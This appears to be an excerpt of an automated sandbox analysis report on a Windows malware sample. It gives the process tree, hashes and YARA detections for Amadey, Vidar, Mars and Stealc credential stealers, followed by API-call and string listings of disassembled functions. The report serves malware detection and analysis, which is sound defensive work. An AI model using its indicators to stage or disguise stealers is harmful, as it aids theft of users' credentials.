Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	17:59:14
Start date:	03/07/2024
Path:	C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe"
Imagebase:	0xe40000
File size:	1'910'272 bytes
MD5 hash:	38D323D82872E7A58E7B7B05E88E055A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.1924106143.0000000000E41000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.1879925828.00000000048F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	17:59:18
Start date:	03/07/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"
Imagebase:	0x960000
File size:	1'910'272 bytes
MD5 hash:	38D323D82872E7A58E7B7B05E88E055A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000002.4122963198.0000000000961000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000003.1921184541.0000000005160000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	17:59:19
Start date:	03/07/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0x960000
File size:	1'910'272 bytes
MD5 hash:	38D323D82872E7A58E7B7B05E88E055A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000B.00000002.1965667071.0000000000961000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000B.00000003.1925291555.0000000004B50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	17:59:26
Start date:	03/07/2024
Path:	C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe"
Imagebase:	0xb00000
File size:	2'465'792 bytes
MD5 hash:	F7F2373C7005D9978782BE75BEF6A1C4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000C.00000002.1993800397.0000000000B01000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 0000000C.00000002.1993800397.0000000000B01000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000C.00000002.1994535395.00000000018B4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 61%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30%
Total number of Nodes:	110
Total number of Limit Nodes:	12

Executed Functions

Function 6C5F35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C67F688,00001000), ref: 6C5F35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5F35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C5F35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C5F363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C5F369F
__aulldiv.LIBCMT ref: 6C5F36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C5F3773
EnterCriticalSection.KERNEL32(6C67F688), ref: 6C5F377E
LeaveCriticalSection.KERNEL32(6C67F688), ref: 6C5F37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C5F37C4
EnterCriticalSection.KERNEL32(6C67F688), ref: 6C5F37CB
LeaveCriticalSection.KERNEL32(6C67F688), ref: 6C5F3801
__aulldiv.LIBCMT ref: 6C5F3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C5F3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C5F3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C5F394C

Strings

GenuntelineI, xrefs: 6C5F3639
AuthcAMDenti, xrefs: 6C5F3946
QPC, xrefs: 6C5F38FC
GTC, xrefs: 6C5F3912
MOZ_TIMESTAMP_MODE, xrefs: 6C5F35DB

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: f634040921f35b0eea2789530feb0b376285e7a234b4135b532e185e57b868d2
Instruction ID: ae5b6e22665f3c3b621aea985a60e67c72874dd9e28f11a251944836f67cabf9
Opcode Fuzzy Hash: f634040921f35b0eea2789530feb0b376285e7a234b4135b532e185e57b868d2
Instruction Fuzzy Hash: 79B1D571B093209FDB0DDF2AC894A5A77F5BB8A704F148D2DE499D3350D73098058FAA

Function 6C60C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C60C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C60C969
GetSystemInfo.KERNEL32(?), ref: 6C60C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C60C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C60C9E2

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: adae4016409be28a9c7b87b0c713ea7a4c10ab72bdfc57a16b48e8af9ccfc184
Instruction ID: ea0ab1f602709e0d25c2043ab4b3eac6a1b32a6c44a7defb6ce004247f9a3471
Opcode Fuzzy Hash: adae4016409be28a9c7b87b0c713ea7a4c10ab72bdfc57a16b48e8af9ccfc184
Instruction Fuzzy Hash: BC21C5317416247BDB0DAA25C9C4BAE72B9AB86744F50051AF903A7A80EB6058048BBE

Function 6C5F3060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C5F3095

Part of subcall function 6C5F35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C67F688,00001000), ref: 6C5F35D5
Part of subcall function 6C5F35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5F35E0
Part of subcall function 6C5F35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C5F35FD
Part of subcall function 6C5F35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C5F363F
Part of subcall function 6C5F35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C5F369F
Part of subcall function 6C5F35A0: __aulldiv.LIBCMT ref: 6C5F36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5F309F

Part of subcall function 6C615B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6156EE,?,00000001), ref: 6C615B85
Part of subcall function 6C615B50: EnterCriticalSection.KERNEL32(6C67F688,?,?,?,6C6156EE,?,00000001), ref: 6C615B90
Part of subcall function 6C615B50: LeaveCriticalSection.KERNEL32(6C67F688,?,?,?,6C6156EE,?,00000001), ref: 6C615BD8
Part of subcall function 6C615B50: GetTickCount64.KERNEL32 ref: 6C615BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C5F30BE

Part of subcall function 6C5F30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C5F3127
Part of subcall function 6C5F30F0: __aulldiv.LIBCMT ref: 6C5F3140

Part of subcall function 6C62AB2A: __onexit.LIBCMT ref: 6C62AB30

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 3e1371c1ac841b0546449f294d89ba1aa2724a09ded8fc9f2c12f6e559b30f3f
Instruction ID: b22d755705290fa2e715f224c7c122e7f20122a2fc477e63226915a5f0e2073d
Opcode Fuzzy Hash: 3e1371c1ac841b0546449f294d89ba1aa2724a09ded8fc9f2c12f6e559b30f3f
Instruction Fuzzy Hash: C1F04922D3075496CB15EF3588C15E6B370EFAB114F501B19E84413511FB2062D883EF

Function 00E93B8C Relevance: 1.3, APIs: 1, Instructions: 21
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(?,?,?,?), ref: 00E93BB7

Memory Dump Source

Source File: 00000000.00000002.1868074947.0000000000E86000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D3C000, based on PE: true

Associated: 00000000.00000002.1868074947.0000000000D3C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1868074947.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1868074947.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1868074947.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 28707709c3ed8b82c3a05023227861b673caaa0ace5ca3925be0f85485a90c1f
Instruction ID: 819c4b1c18c29d3bc93cbb6d4ce718dea98a0730c55e42d55ab4a2c357306e06
Opcode Fuzzy Hash: 28707709c3ed8b82c3a05023227861b673caaa0ace5ca3925be0f85485a90c1f
Instruction Fuzzy Hash: EEE0E2B630460CABDF10CEACD888BAB33DDEB88710F148011FA09E7204D234EE10A762

Non-executed Functions

Function 6C605477 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 575threadtimeCOMMON

Download Yara Rule

APIs

Part of subcall function 6C62AB89: EnterCriticalSection.KERNEL32(6C67E370,?,?,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284), ref: 6C62AB94
Part of subcall function 6C62AB89: LeaveCriticalSection.KERNEL32(6C67E370,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C62ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C605492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C6054A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C6054BE
__Init_thread_footer.LIBCMT ref: 6C6054DB

Part of subcall function 6C62AB3F: EnterCriticalSection.KERNEL32(6C67E370,?,?,6C5F3527,6C67F6CC,?,?,?,?,?,?,?,?,6C5F3284), ref: 6C62AB49
Part of subcall function 6C62AB3F: LeaveCriticalSection.KERNEL32(6C67E370,?,6C5F3527,6C67F6CC,?,?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C62AB7C

GetCurrentThreadId.KERNEL32 ref: 6C6054F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C605516
GetCurrentThreadId.KERNEL32 ref: 6C60556A
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C605577
moz_xmalloc.MOZGLUE(00000070), ref: 6C605585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C605590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP), ref: 6C6055E6
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C605606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C605616
GetCurrentThreadId.KERNEL32 ref: 6C60563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C605646

Part of subcall function 6C6394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6394EE
Part of subcall function 6C6394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,?,00000000,?), ref: 6C639508

Strings

MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C605766
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C605D2B
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C605B38
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C60584E
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C605717
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C605724
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C605D1C
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C605C56
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C605749
MOZ_BASE_PROFILER_HELP, xrefs: 6C605511
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C605AC9
MOZ_PROFILER_STARTUP, xrefs: 6C6055E1
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C605D24
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C605BBE
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C60548D
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C605CF9
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C6057C5
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C605D01
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C6056E3
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C6057AE
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C605791
GeckoMain, xrefs: 6C605554, 6C6055D5
[I %d/%d] profiler_init, xrefs: 6C60564E
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C6054B9
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C6054A3

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$CurrentThread$EnterExclusiveLeaveLock$AcquireCreation@Init_thread_footerProcessReleaseStamp@mozilla@@TimeV12@__acrt_iob_func__stdio_common_vfprintf_getpidfreemoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 1000357164-1266492768
Opcode ID: 9c11f1e9aa4da54aa4b6719c4ec568a404fcaf0cf5507455c51fd1a00f93563c
Instruction ID: 25002c8e6bab9c8ebef5900c22b72c78bdee71452a14603bef8b910cf271865d
Opcode Fuzzy Hash: 9c11f1e9aa4da54aa4b6719c4ec568a404fcaf0cf5507455c51fd1a00f93563c
Instruction Fuzzy Hash: B3220570A043109BEB099F65895875A77B4AF8734CF140D2AE94AA7B41EB35C444CF6F

Function 6C63B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C63B845
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63B852
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63B884
InitializeConditionVariable.KERNEL32(?), ref: 6C63B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C63B9FD
GetCurrentThreadId.KERNEL32 ref: 6C63BA05
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C63BA27
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63BA4B
free.MOZGLUE(?), ref: 6C63C9C7
free.MOZGLUE(?), ref: 6C63C9DC

Strings

[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C63C7DA
[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C63C878

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 5250d44739d19cdf35a7fbce3ef57e5f31e7fa869afeb79d693bb8d830e9291d
Instruction ID: 48600ae2d90f23a6a40ddbc54ab03e2511dea3655df97523b1216bee6b10e1aa
Opcode Fuzzy Hash: 5250d44739d19cdf35a7fbce3ef57e5f31e7fa869afeb79d693bb8d830e9291d
Instruction Fuzzy Hash: E1A2CC71A083908FC725CF29C480B9BB7E5BFCA314F105A2DE89D97751DB709909CB9A

Function 6C606C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C606CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C606D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C606D26

Part of subcall function 6C60CA10: malloc.MOZGLUE(?), ref: 6C60CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C606D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C606D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C606D73
free.MOZGLUE(00000000), ref: 6C606D80
CertGetNameStringW.CRYPT32 ref: 6C606DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C606DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C606DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C606DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C606E10
CryptMsgClose.CRYPT32(00000000), ref: 6C606E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C606E34
CreateFileW.KERNEL32 ref: 6C606EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C606F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C606F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C60709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C607103
free.MOZGLUE(00000000), ref: 6C607153
CloseHandle.KERNEL32(?), ref: 6C607176
__Init_thread_footer.LIBCMT ref: 6C607209
__Init_thread_footer.LIBCMT ref: 6C60723A
__Init_thread_footer.LIBCMT ref: 6C60726B
__Init_thread_footer.LIBCMT ref: 6C60729C
__Init_thread_footer.LIBCMT ref: 6C6072DC
__Init_thread_footer.LIBCMT ref: 6C60730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C6073C2
VerSetConditionMask.NTDLL ref: 6C6073F3
VerSetConditionMask.NTDLL ref: 6C6073FF
VerSetConditionMask.NTDLL ref: 6C607406
VerSetConditionMask.NTDLL ref: 6C60740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C60741A
moz_xmalloc.MOZGLUE(?), ref: 6C60755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C607568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C607585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C607598
free.MOZGLUE(00000000), ref: 6C6075AC

Part of subcall function 6C62AB89: EnterCriticalSection.KERNEL32(6C67E370,?,?,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284), ref: 6C62AB94
Part of subcall function 6C62AB89: LeaveCriticalSection.KERNEL32(6C67E370,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C62ABD1

Strings

SHA256, xrefs: 6C606EC0
wintrust.dll, xrefs: 6C6072CD
CryptCATAdminReleaseCatalogContext, xrefs: 6C6072C8
(, xrefs: 6C60768A

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 265510603915c629c3714f96b877014bc538e9e85bf646c149d0b142250c3f70
Instruction ID: d6605cef8a7cc05a270b64ca4bd92ce6de61b48ed3cfd16da25138cbaee4d07f
Opcode Fuzzy Hash: 265510603915c629c3714f96b877014bc538e9e85bf646c149d0b142250c3f70
Instruction Fuzzy Hash: 9852E7B1A042149FEB26CF25CD84FEA77B8EF46304F104599E909A7640DB70AF84CF69

Function 6C626FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C67E7DC), ref: 6C627019
LeaveCriticalSection.KERNEL32(6C67E7DC), ref: 6C627061
EnterCriticalSection.KERNEL32(?), ref: 6C6271A4
LeaveCriticalSection.KERNEL32(?), ref: 6C62721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C62723E
EnterCriticalSection.KERNEL32(?), ref: 6C62726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C6272B2
LeaveCriticalSection.KERNEL32(?), ref: 6C62733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C6273E8
LeaveCriticalSection.KERNEL32(?), ref: 6C62961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C629622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C629642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C62964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C6296CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C6296DB
AcquireSRWLockExclusive.KERNEL32(6C67E804), ref: 6C629747
GetSystemInfo.KERNEL32(?), ref: 6C629792
__Init_thread_footer.LIBCMT ref: 6C6297A5
